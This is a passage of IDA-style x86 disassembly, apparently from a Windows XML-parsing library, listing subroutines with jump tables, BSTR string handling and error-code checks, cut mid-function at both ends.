loc_69B8D896:				; CODE XREF: sub_69B8D85E+1Aj
		pop	edi


loc_69B8D897:				; CODE XREF: sub_69B8D85E+8j
		pop	esi
		retn
sub_69B8D85E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8D899	proc near		; CODE XREF: sub_69B8ECE6+E6p
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebx+14h]
		push	edi
		call	sub_69B8D83F
		mov	edi, eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+40h]
		test	eax, eax
		jz	short loc_69B8D8FC
		push	esi


loc_69B8D8B3:				; CODE XREF: sub_69B8D899+60j
		mov	eax, [eax+30h]
		test	eax, eax
		jz	short loc_69B8D8F0
		mov	ecx, eax
		call	sub_69B8A4F3
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B8D8F0
		jmp	short loc_69B8D8E5
; ---------------------------------------------------------------------------


loc_69B8D8C9:				; CODE XREF: sub_69B8D899+55j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	ecx, [eax+10h]
		test	ecx, ecx
		jz	short loc_69B8D8E5
		push	1
		push	eax
		push	dword ptr [ebx+68h]
		push	ecx
		push	0
		call	sub_69B4E634


loc_69B8D8E5:				; CODE XREF: sub_69B8D899+2Ej
					; sub_69B8D899+3Cj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B8D8C9


loc_69B8D8F0:				; CODE XREF: sub_69B8D899+1Fj
					; sub_69B8D899+2Cj
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+40h]
		test	eax, eax
		jnz	short loc_69B8D8B3
		pop	esi


loc_69B8D8FC:				; CODE XREF: sub_69B8D899+17j
		pop	edi
		xor	eax, eax
		pop	ebx
		retn
sub_69B8D899	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8D901	proc near		; CODE XREF: sub_69B8BD72+B7p
					; sub_69B8EE33+177p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, [esp+4+arg_8]
		jz	short loc_69B8D915
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+34h]


loc_69B8D915:				; CODE XREF: sub_69B8D901+Bj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B8D921
		cmp	word ptr [eax],	0
		jnz	short loc_69B8D939


loc_69B8D921:				; CODE XREF: sub_69B8D901+18j
		mov	eax, [esp+4+arg_4]
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jz	short loc_69B8D939
		call	sub_69B2EFAD
		mov	ecx, [esp+4+arg_C]
		mov	[ecx], eax
		mov	[esi], eax


loc_69B8D939:				; CODE XREF: sub_69B8D901+1Ej
					; sub_69B8D901+29j
		pop	esi
		retn	10h
sub_69B8D901	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8D93D	proc near		; CODE XREF: sub_69B8E35B+3p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	ebx, [esi+0Ch]
		push	ebx
		mov	dword ptr [esi-4], offset off_69B149AC
		mov	dword ptr [esi], offset	off_69B2B1F8
		call	sub_69B17320
		lea	eax, [esi+10h]
		push	edi
		push	eax
		mov	[ebp+var_4], eax
		call	sub_69B17320
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+28h]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+2Ch]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+34h]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+3Ch]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+44h]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+48h]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+60h]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+64h]
		push	edi
		push	eax
		call	sub_69B2DEB2
		lea	eax, [esi+68h]
		push	edi
		push	eax
		call	sub_69B17320
		lea	eax, [esi+68h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B2DEDD
		lea	eax, [esi+60h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		add	esi, 14h
		push	esi
		call	sub_69B17230
		push	[ebp+var_4]
		call	sub_69B17230
		push	ebx
		call	sub_69B17230
		call	sub_69B2C65C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B8D93D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8DA4B	proc near		; DATA XREF: .text:69B149C4o
		push	10h
		push	offset dword_69B8DB40
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-20h], ebx
		mov	esi, [ebp+8]
		cmp	[esi+3Dh], bl
		jz	loc_69B8DB1E
		cmp	[esi+2Ch], ebx
		jz	loc_69B8DB1E
		mov	[esi+3Dh], bl
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		lea	edx, [ebp-20h]
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		cmp	[ebp-20h], ebx
		jz	short loc_69B8DACE
		mov	[ebp-4], ebx
		push	dword ptr [ebp-20h] ; lpString
		call	sub_69B1A587
		mov	ecx, eax
		mov	[ebp-1Ch], ecx
		call	sub_69B2F43C
		mov	[ebp-1Ch], eax
		push	dword ptr [ebp-20h] ; BSTR
		call	SysFreeString
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B8DACE
; ---------------------------------------------------------------------------


loc_69B8DAB0:				; DATA XREF: .text:69B8DB44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B8DAB9:				; DATA XREF: .text:69B8DB48o
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-20h] ; BSTR
		call	SysFreeString
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx
		mov	esi, [ebp+8]


loc_69B8DACE:				; CODE XREF: sub_69B8DA4B+3Cj
					; sub_69B8DA4B+63j
		cmp	[ebp-1Ch], ebx
		jnz	short loc_69B8DADA
		mov	dword ptr [ebp-1Ch], offset off_69B1A5AC


loc_69B8DADA:				; CODE XREF: sub_69B8DA4B+86j
		mov	ecx, [esi+2Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		push	ebx
		push	dword ptr [ebp-1Ch]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		push	0C00CE009h
		call	sub_69B2F944
		add	esp, 10h
		mov	ecx, [eax+0Ch]
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[ebp-20h], eax
		mov	ecx, [ebp+0Ch]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+14h]
		push	dword ptr [ebp-20h] ; BSTR
		call	SysFreeString


loc_69B8DB1E:				; CODE XREF: sub_69B8DA4B+1Aj
					; sub_69B8DA4B+23j
		mov	esi, [esi+10h]
		mov	eax, [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword ptr [eax+18h]
		call	sub_69B1853C
		retn	14h
sub_69B8DA4B	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B8DB40	dd 0FFFFFFFFh			dd offset loc_69B8DAB0
		dd offset loc_69B8DAB9

; =============== S U B	R O U T	I N E =======================================



sub_69B8DB4C	proc near		; DATA XREF: .text:69B149BCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, [esi+70h]
		xor	eax, eax
		test	ecx, ecx
		jl	short loc_69B8DB98
		cmp	ecx, 2
		jle	short loc_69B8DB87
		cmp	ecx, 3
		jz	short loc_69B8DB9C
		cmp	ecx, 4
		jz	short loc_69B8DB87
		push	5
		pop	edx
		cmp	ecx, edx
		jz	short loc_69B8DB78
		cmp	ecx, 6
		jnz	short loc_69B8DB98
		mov	[esi+70h], edx


loc_69B8DB78:				; CODE XREF: sub_69B8DB4C+22j
		push	0
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		mov	byte ptr [esi+3Ch], 0


loc_69B8DB87:				; CODE XREF: sub_69B8DB4C+11j
					; sub_69B8DB4C+1Bj
		push	[esp+4+arg_8]
		mov	esi, [esi+10h]
		push	[esp+8+arg_4]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+10h]


loc_69B8DB98:				; CODE XREF: sub_69B8DB4C+Cj
					; sub_69B8DB4C+27j ...
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B8DB9C:				; CODE XREF: sub_69B8DB4C+16j
		mov	byte ptr [esi+3Ch], 0
		jmp	short loc_69B8DB98
sub_69B8DB4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8DBA2	proc near		; DATA XREF: sub_69B8E980+195o

arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Bh
		jz	loc_69B8DC3D
		cmp	[ebp+arg_8], 13h
		jz	short loc_69B8DBE9 ; jumptable 69B8DBCA	case 52
		cmp	[ebp+arg_8], 17h
		jnz	loc_69B8DC48	; default
		mov	eax, [ebp+arg_C]
		add	eax, 0FFFFFFCEh	; switch 8 cases
		cmp	eax, 7
		ja	short loc_69B8DC48 ; default
		jmp	ds:off_69B8DC4E[eax*4] ; switch	jump


loc_69B8DBD1:				; DATA XREF: .text:off_69B8DC4Eo
		mov	eax, [ecx+30h]	; jumptable 69B8DBCA case 50
		mov	eax, [eax+2Ch]
		mov	byte ptr [eax+28h], 0
		jmp	short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------


loc_69B8DBDD:				; CODE XREF: sub_69B8DBA2+28j
					; DATA XREF: .text:off_69B8DC4Eo
		mov	eax, [ecx+30h]	; jumptable 69B8DBCA case 51
		mov	eax, [eax+2Ch]
		mov	byte ptr [eax+28h], 4
		jmp	short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------


loc_69B8DBE9:				; CODE XREF: sub_69B8DBA2+11j
					; sub_69B8DBA2+28j
					; DATA XREF: ...
		mov	eax, [ebp+arg_14] ; jumptable 69B8DBCA case 52
		push	dword ptr [eax+8]
		mov	eax, [ecx+30h]
		mov	ecx, [eax+2Ch]
		call	sub_69B8FF0A
		jmp	short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------


loc_69B8DBFC:				; CODE XREF: sub_69B8DBA2+28j
					; DATA XREF: .text:off_69B8DC4Eo
		mov	eax, [ecx+30h]	; jumptable 69B8DBCA case 53
		mov	ecx, [eax+2Ch]
		call	sub_69B8F674
		jmp	short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------


loc_69B8DC09:				; CODE XREF: sub_69B8DBA2+28j
					; DATA XREF: .text:off_69B8DC4Eo
		mov	eax, [ecx+30h]	; jumptable 69B8DBCA case 54
		mov	ecx, [eax+2Ch]
		call	sub_69B8F63D
		jmp	short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------


loc_69B8DC16:				; CODE XREF: sub_69B8DBA2+28j
					; DATA XREF: .text:off_69B8DC4Eo
		mov	eax, [ecx+30h]	; jumptable 69B8DBCA case 55
		mov	ecx, [eax+2Ch]
		call	sub_69B8FFB1
		jmp	short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------


loc_69B8DC23:				; CODE XREF: sub_69B8DBA2+28j
					; DATA XREF: .text:off_69B8DC4Eo
		mov	eax, [ecx+30h]	; jumptable 69B8DBCA case 56
		mov	ecx, [eax+2Ch]
		call	sub_69B8FFB9
		jmp	short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------


loc_69B8DC30:				; CODE XREF: sub_69B8DBA2+28j
					; DATA XREF: .text:off_69B8DC4Eo
		mov	eax, [ecx+30h]	; jumptable 69B8DBCA case 57
		mov	ecx, [eax+2Ch]
		call	sub_69B8FFC1
		jmp	short loc_69B8DC48 ; default
; ---------------------------------------------------------------------------


loc_69B8DC3D:				; CODE XREF: sub_69B8DBA2+7j
		mov	eax, [ecx+30h]
		mov	ecx, [eax+2Ch]
		call	sub_69B8F0F8


loc_69B8DC48:				; CODE XREF: sub_69B8DBA2+17j
					; sub_69B8DBA2+26j ...
		xor	eax, eax	; default
		pop	ebp
		retn	1Ch
sub_69B8DBA2	endp

; ---------------------------------------------------------------------------
off_69B8DC4E	dd offset loc_69B8DBD1	; DATA XREF: sub_69B8DBA2+28r
		dd offset loc_69B8DBDD	; jump table for switch	statement
		dd offset loc_69B8DBE9
		dd offset loc_69B8DBFC
		dd offset loc_69B8DC09
		dd offset loc_69B8DC16
		dd offset loc_69B8DC23
		dd offset loc_69B8DC30

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8DC6E	proc near		; DATA XREF: sub_69B8E980+C7o

arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 6
		push	esi
		mov	esi, ecx
		jz	short loc_69B8DCA8
		cmp	[ebp+arg_8], 0Dh
		jnz	short loc_69B8DCAE
		mov	eax, [esi+5Ch]
		sub	eax, 22h
		jz	short loc_69B8DC93
		dec	eax
		jnz	short loc_69B8DCA2
		mov	eax, [esi+38h]
		add	eax, 10h
		jmp	short loc_69B8DC99
; ---------------------------------------------------------------------------


loc_69B8DC93:				; CODE XREF: sub_69B8DC6E+18j
		mov	eax, [esi+38h]
		add	eax, 0Ch


loc_69B8DC99:				; CODE XREF: sub_69B8DC6E+23j
		push	[ebp+arg_10]
		push	eax
		call	sub_69B17320


loc_69B8DCA2:				; CODE XREF: sub_69B8DC6E+1Bj
		and	dword ptr [esi+5Ch], 0
		jmp	short loc_69B8DCAE
; ---------------------------------------------------------------------------


loc_69B8DCA8:				; CODE XREF: sub_69B8DC6E+Aj
		mov	eax, [ebp+arg_C]
		mov	[esi+5Ch], eax


loc_69B8DCAE:				; CODE XREF: sub_69B8DC6E+10j
					; sub_69B8DC6E+38j
		xor	eax, eax
		pop	esi
		pop	ebp
		retn	1Ch
sub_69B8DC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8DCB5	proc near		; DATA XREF: sub_69B8E980:loc_69B8EA8Eo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_14]
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[ebp+var_8], ebx
		jz	short loc_69B8DCD3
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_69B8DCD6
; ---------------------------------------------------------------------------


loc_69B8DCD3:				; CODE XREF: sub_69B8DCB5+14j
		mov	[ebp+var_4], ebx


loc_69B8DCD6:				; CODE XREF: sub_69B8DCB5+1Cj
		mov	eax, [ebp+arg_8]
		cmp	eax, 14h
		ja	loc_69B8DDD6
		cmp	eax, 13h
		jnb	loc_69B8DD6C
		sub	eax, 0Bh
		jz	short loc_69B8DD4C
		dec	eax
		dec	eax
		jz	short loc_69B8DD25
		sub	eax, 4
		jnz	loc_69B8DEEC
		cmp	[esi+28h], bl
		mov	ecx, [esi+14h]
		push	ebx
		push	[ebp+var_4]
		setz	al
		mov	[esi+58h], al
		call	sub_69B8AFBA
		mov	ecx, [esi+14h]
		push	1
		push	[ebp+var_4]
		push	eax
		call	sub_69B8B4A5
		jmp	loc_69B8DEEC
; ---------------------------------------------------------------------------


loc_69B8DD25:				; CODE XREF: sub_69B8DCB5+3Dj
		mov	ecx, [esi+24h]
		call	sub_69B8C6AD
		cmp	eax, 2
		jnz	short loc_69B8DD3E


loc_69B8DD32:				; CODE XREF: sub_69B8DCB5+151j
		mov	[ebp+var_8], 0C00CE023h
		jmp	loc_69B8DF7B
; ---------------------------------------------------------------------------


loc_69B8DD3E:				; CODE XREF: sub_69B8DCB5+7Bj
		cmp	[esi+28h], bl
		setz	al
		mov	[esi+58h], al
		jmp	loc_69B8DEEC
; ---------------------------------------------------------------------------


loc_69B8DD4C:				; CODE XREF: sub_69B8DCB5+39j
		mov	ecx, [esi+24h]
		call	sub_69B8C6AD
		cmp	eax, 9
		jz	loc_69B8DEEC
		mov	eax, [esi+24h]
		mov	dword ptr [eax+18h], 0Ah
		jmp	loc_69B8DEEC
; ---------------------------------------------------------------------------


loc_69B8DD6C:				; CODE XREF: sub_69B8DCB5+30j
		cmp	[esi+44h], ebx
		jnz	loc_69B8DEEC
		mov	ecx, [esi+24h]
		call	sub_69B8C6AD
		cmp	eax, 9
		jnz	short loc_69B8DDC6
		mov	eax, [esi+14h]
		mov	eax, [eax+50h]
		cmp	eax, ebx
		jz	short loc_69B8DD9A
		push	[ebp+var_4]
		mov	ecx, eax
		call	sub_69B1980A
		cmp	eax, ebx
		jnz	short loc_69B8DDC6


loc_69B8DD9A:				; CODE XREF: sub_69B8DCB5+D5j
		mov	eax, [esi+14h]
		mov	edi, [esi+64h]
		push	1
		mov	[ebp+arg_C], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ebx
		push	eax
		call	dword ptr [ecx+1Ch]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		mov	ecx, [ebp+arg_C]
		push	eax
		push	[ebp+var_4]
		push	edi
		call	sub_69B8B5C1


loc_69B8DDC6:				; CODE XREF: sub_69B8DCB5+CBj
					; sub_69B8DCB5+E3j
		push	[ebp+var_4]
		mov	ecx, [esi+24h]
		call	sub_69B8CA8B
		jmp	loc_69B8DEEC
; ---------------------------------------------------------------------------


loc_69B8DDD6:				; CODE XREF: sub_69B8DCB5+27j
		sub	eax, 18h
		jz	loc_69B8DE7D
		dec	eax
		jz	short loc_69B8DE31
		dec	eax
		jnz	loc_69B8DEEC
		mov	eax, [ebp+arg_C]
		sub	eax, 2Eh
		jz	short loc_69B8DE28
		dec	eax
		jz	short loc_69B8DE15
		dec	eax
		jnz	loc_69B8DEEC
		mov	ecx, [esi+24h]
		call	sub_69B8C6AD
		cmp	eax, 2
		jz	loc_69B8DD32
		mov	eax, [esi+24h]
		mov	byte ptr [eax+30h], 3
		jmp	short loc_69B8DE1C
; ---------------------------------------------------------------------------


loc_69B8DE15:				; CODE XREF: sub_69B8DCB5+13Dj
		mov	eax, [esi+24h]
		mov	byte ptr [eax+30h], 2


loc_69B8DE1C:				; CODE XREF: sub_69B8DCB5+15Ej
					; sub_69B8DCB5+17Aj
		mov	dword ptr [esi+44h], 1
		jmp	loc_69B8DEEC
; ---------------------------------------------------------------------------


loc_69B8DE28:				; CODE XREF: sub_69B8DCB5+13Aj
		mov	eax, [esi+24h]
		mov	byte ptr [eax+30h], 1
		jmp	short loc_69B8DE1C
; ---------------------------------------------------------------------------


loc_69B8DE31:				; CODE XREF: sub_69B8DCB5+12Bj
		mov	ecx, [ebp+arg_C]
		cmp	ecx, 25h
		jz	short loc_69B8DE6B
		cmp	ecx, 26h
		jz	short loc_69B8DE53
		jbe	loc_69B8DEEC
		cmp	ecx, 2Ch
		jbe	short loc_69B8DE6B
		cmp	ecx, 2Dh
		jz	short loc_69B8DE72
		jmp	loc_69B8DEEC
; ---------------------------------------------------------------------------


loc_69B8DE53:				; CODE XREF: sub_69B8DCB5+187j
		mov	eax, [esi+30h]
		cmp	[eax+34h], bl
		jz	short loc_69B8DE67
		mov	[ebp+var_8], 0C00CE022h
		jmp	loc_69B8DF7B
; ---------------------------------------------------------------------------


loc_69B8DE67:				; CODE XREF: sub_69B8DCB5+1A4j
		mov	byte ptr [eax+34h], 1


loc_69B8DE6B:				; CODE XREF: sub_69B8DCB5+182j
					; sub_69B8DCB5+192j
		mov	dword ptr [esi+44h], 1


loc_69B8DE72:				; CODE XREF: sub_69B8DCB5+197j
		mov	eax, [esi+24h]
		add	ecx, 0FFFFFFDCh
		mov	[eax+18h], ecx
		jmp	short loc_69B8DEEC
; ---------------------------------------------------------------------------


loc_69B8DE7D:				; CODE XREF: sub_69B8DCB5+124j
		lea	edi, [esi+24h]
		mov	eax, [edi]
		cmp	eax, ebx
		mov	[esi+58h], bl
		jz	short loc_69B8DEAB
		mov	eax, [eax+10h]
		cmp	eax, ebx
		jz	short loc_69B8DEA0
		push	ebx
		push	ebx
		push	2
		push	eax
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_69B8D7E7


loc_69B8DEA0:				; CODE XREF: sub_69B8DCB5+1D9j
		mov	ecx, [edi]
		push	ebx
		push	dword ptr [esi+30h]
		call	sub_69B8CDCB


loc_69B8DEAB:				; CODE XREF: sub_69B8DCB5+1D2j
		push	[ebp+var_4]
		mov	ecx, [esi+30h]
		call	sub_69B8C678
		test	eax, eax
		push	ebx
		push	[ebp+var_4]
		setnz	al
		mov	[esi+28h], al
		call	sub_69B8CDB7
		push	eax
		push	edi
		call	sub_69B17320
		push	[ebp+arg_14]
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17320
		cmp	[esi+28h], bl
		jnz	short loc_69B8DEE9
		push	dword ptr [edi]
		mov	ecx, [esi+30h]
		call	sub_69B8CA67


loc_69B8DEE9:				; CODE XREF: sub_69B8DCB5+228j
		mov	[esi+44h], ebx


loc_69B8DEEC:				; CODE XREF: sub_69B8DCB5+42j
					; sub_69B8DCB5+6Bj ...
		cmp	[esi+58h], bl
		jz	loc_69B8DF7B
		mov	eax, [esi+24h]
		cmp	[eax+10h], ebx
		jnz	short loc_69B8DF7B
		mov	eax, [esi+30h]
		cmp	[eax+10h], ebx
		jnz	short loc_69B8DF41
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	dword ptr [eax+0Ch]
		xor	edi, edi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		inc	edi
		push	edi
		push	ebx
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_69B8D750
		mov	ecx, [esi+30h]
		mov	eax, [ecx]
		push	edi
		push	[ebp+arg_C]
		call	dword ptr [eax+38h]
		mov	eax, [esi+30h]
		push	ebx
		push	edi
		push	edi
		push	dword ptr [eax+10h]
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_69B8D7E7


loc_69B8DF41:				; CODE XREF: sub_69B8DCB5+24Ej
		lea	eax, [ebp+arg_C]
		push	eax
		push	dword ptr [esi+64h]
		mov	eax, [esi+30h]
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	1
		push	2
		push	dword ptr [eax+10h]
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_69B8D750
		mov	eax, [ebp+arg_C]
		or	byte ptr [eax+9], 20h
		mov	ecx, [esi+24h]
		mov	edx, [ecx]
		push	1
		push	eax
		call	dword ptr [edx+38h]
		mov	ecx, [esi+24h]
		call	sub_69B5AC1C


loc_69B8DF7B:				; CODE XREF: sub_69B8DCB5+84j
					; sub_69B8DCB5+1ADj ...
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	1Ch
sub_69B8DCB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8DF85	proc near		; CODE XREF: sub_69B8ECE6+F9p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B315A6
		mov	ecx, [esi+14h]
		mov	[ebp+var_1C], eax
		call	sub_69B8D83F
		mov	edi, eax
		mov	eax, [edi]
		mov	ecx, edi
		mov	[ebp+var_14], edi
		call	dword ptr [eax+40h]
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+var_10], ebx
		jnz	short loc_69B8E013


loc_69B8DFB5:				; CODE XREF: sub_69B8DF85+320j
		mov	ecx, [esi+14h]
		mov	eax, [ecx+5Ch]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_69B8E000
		mov	ecx, [ecx+48h]
		test	ecx, ecx
		jz	short loc_69B8E000
		push	dword ptr [eax+8]
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B8E000
		mov	ebx, [eax+0Ch]
		mov	eax, [esi+14h]
		push	ebx
		add	eax, 5Ch
		push	eax
		call	sub_69B17320
		mov	eax, [esi+68h]
		mov	ecx, [eax+4Ch]
		push	0
		push	4
		push	0
		call	sub_69B49C1F
		mov	edx, [eax]
		push	ebx
		mov	ecx, eax
		call	dword ptr [edx+0F0h]


loc_69B8E000:				; CODE XREF: sub_69B8DF85+3Aj
					; sub_69B8DF85+41j ...
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		mov	eax, [edi]
		mov	ecx, edi
		jmp	loc_69B8E33C
; ---------------------------------------------------------------------------


loc_69B8E010:				; CODE XREF: sub_69B8DF85+317j
		mov	ebx, [ebp+var_10]


loc_69B8E013:				; CODE XREF: sub_69B8DF85+2Ej
		mov	ecx, [ebx+30h]
		test	ecx, ecx
		mov	[ebp+var_1], 0
		jnz	short loc_69B8E026
		and	[ebp+var_8], ecx
		jmp	loc_69B8E0E2
; ---------------------------------------------------------------------------


loc_69B8E026:				; CODE XREF: sub_69B8DF85+97j
		call	sub_69B8A4F3
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	loc_69B8E0E2
		jmp	loc_69B8E0D2
; ---------------------------------------------------------------------------


loc_69B8E03B:				; CODE XREF: sub_69B8DF85+157j
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		mov	ecx, dword_69B95A5C
		mov	edi, eax
		mov	eax, [edi+8]
		cmp	ecx, [eax+10h]
		jnz	short loc_69B8E0D2
		mov	ecx, [edi+2Ch]
		test	ecx, ecx
		mov	[ebp+var_1], 1
		jz	short loc_69B8E078
		mov	eax, [esi+6Ch]
		mov	[ebp+var_18], eax
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ecx, [ebp+var_18]
		push	0		; int
		push	0		; lpString
		push	eax		; int
		call	sub_69B4D394
		jmp	short loc_69B8E07D
; ---------------------------------------------------------------------------


loc_69B8E078:				; CODE XREF: sub_69B8DF85+D7j
		mov	eax, dword_69B95A18


loc_69B8E07D:				; CODE XREF: sub_69B8DF85+F1j
		mov	[ebp+var_C], eax
		mov	eax, [edi+8]
		mov	eax, [eax+14h]
		test	eax, eax
		mov	[ebp+var_18], eax
		jz	short loc_69B8E0BD
		cmp	dword_69B95A7C,	eax
		jz	short loc_69B8E0BD
		push	eax
		call	sub_69B4D223
		test	al, al
		jz	short loc_69B8E0C1
		mov	edi, [edi+8]
		mov	eax, [edi]
		push	0
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE010h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B8E0C1
; ---------------------------------------------------------------------------


loc_69B8E0BD:				; CODE XREF: sub_69B8DF85+106j
					; sub_69B8DF85+10Ej
		and	[ebp+var_18], 0


loc_69B8E0C1:				; CODE XREF: sub_69B8DF85+118j
					; sub_69B8DF85+136j
		mov	ecx, [esi+6Ch]
		push	ebx
		push	[ebp+var_C]
		push	0
		push	[ebp+var_18]
		call	sub_69B4DCB3


loc_69B8E0D2:				; CODE XREF: sub_69B8DF85+B1j
					; sub_69B8DF85+CCj
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	al, al
		jnz	loc_69B8E03B


loc_69B8E0E2:				; CODE XREF: sub_69B8DF85+9Cj
					; sub_69B8DF85+ABj
		mov	ecx, [ebx+8]
		mov	edi, [ecx+10h]
		xor	al, al
		test	edi, edi
		jz	short loc_69B8E0F4
		push	edi
		call	sub_69B4D223


loc_69B8E0F4:				; CODE XREF: sub_69B8DF85+167j
		cmp	[ebp+var_1], 0
		jz	short loc_69B8E15F
		test	al, al
		jnz	short loc_69B8E167
		mov	ecx, [esi+6Ch]
		and	[ebp+var_18], 0
		lea	eax, [ebp+var_18]
		push	eax
		push	0
		push	edi
		call	sub_69B4D2DF
		test	eax, eax
		jz	short loc_69B8E13D
		mov	edx, [ebx+0Ch]
		mov	edx, [edx+0Ch]
		mov	ecx, [ebx+8]
		mov	edi, [esi+6Ch]
		push	edx
		push	[ebp+var_18]
		push	eax
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, edi
